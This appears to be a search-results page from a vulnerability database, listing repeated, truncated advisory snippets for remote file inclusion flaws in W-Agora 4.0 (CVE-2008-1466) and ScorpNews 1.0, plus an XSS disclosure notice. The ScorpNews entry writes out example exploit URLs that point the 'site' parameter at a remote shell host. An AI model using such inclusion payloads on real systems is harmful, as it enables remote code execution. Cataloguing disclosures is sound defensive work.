1087 matches found
scorpnews-rfi.txt
/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...
ScorpNews 1.0 - site Remote File Inclusion
ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...
Unfixed XSS vulnerability at www.w-fenec.org
Security researcher zprian, has submitted on 30/04/2008 a cross-site-scripting XSS vulnerability affecting www.w-fenec.org, which at the time of submission ranked 185129 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 30/04/2008. It is currentl...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in W-Agora 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the bndirdefault parameter to 1 adduser.php, 2 createforum.php, 3 createuser.php, 4 deletenotes.php, 5 deleteuser.php, 6 editforum.php, 7 mailusers.php, 8...
CVE-2008-1466
Multiple PHP remote file inclusion vulnerabilities in W-Agora 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the bndirdefault parameter to 1 adduser.php, 2 createforum.php, 3 createuser.php, 4 deletenotes.php, 5 deleteuser.php, 6 editforum.php, 7 mailusers.php, 8...
CVE-2008-1466
Multiple PHP remote file inclusion vulnerabilities in W-Agora 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the bndirdefault parameter to 1 adduser.php, 2 createforum.php, 3 createuser.php, 4 deletenotes.php, 5 deleteuser.php, 6 editforum.php, 7 mailusers.php, 8...
CVE-2008-1466
CVE-2008-1466 affects W-Agora 4.0 and allows remote PHP code execution through remote file inclusion. The vulnerability is triggered by a URL parameter bn_dir_default passed to one of nine scripts (add_user.php, create_forum.php, create_user.php, delete_notes.php, delete_user.php, edit_forum.php,...
CVE-2008-1466: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in W-Agora 4.0 allow remote attackers to execute arbitrary PHP code via a URL in the bndirdefault parameter to 1 adduser.php, 2 createforum.php, 3 createuser.php, 4 deletenotes.php, 5 deleteuser.php, 6 editforum.php, 7 mailusers.php, 8...
W-Agora 4.0 - create_user.php?bn_dir_default Remote File Inclusion
W-Agora 4.0 - createuser.php?bndirdefault Remote File Inclusion source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to...
W-Agora 4.0 - delete_notes.php?bn_dir_default Remote File Inclusion
W-Agora 4.0 - deletenotes.php?bndirdefault Remote File Inclusion source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to...
W-Agora 4.0 - 'mail_users.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - 'delete_notes.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - 'moderate_notes.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - reorder_forums.php?bn_dir_default Remote File Inclusion
W-Agora 4.0 - reorderforums.php?bndirdefault Remote File Inclusion source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to...
W-Agora 4.0 - 'add_user.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - 'create_forum.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - 'create_user.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - 'delete_user.php?bn_dir_default' Remote File Inclusion
source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...
W-Agora 4.0 - edit_forum.php?bn_dir_default Remote File Inclusion
W-Agora 4.0 - editforum.php?bndirdefault Remote File Inclusion source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to...
W-Agora 4.0 - add_user.php?bn_dir_default Remote File Inclusion
W-Agora 4.0 - adduser.php?bndirdefault Remote File Inclusion source: https://www.securityfocus.com/bid/28366/info w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to...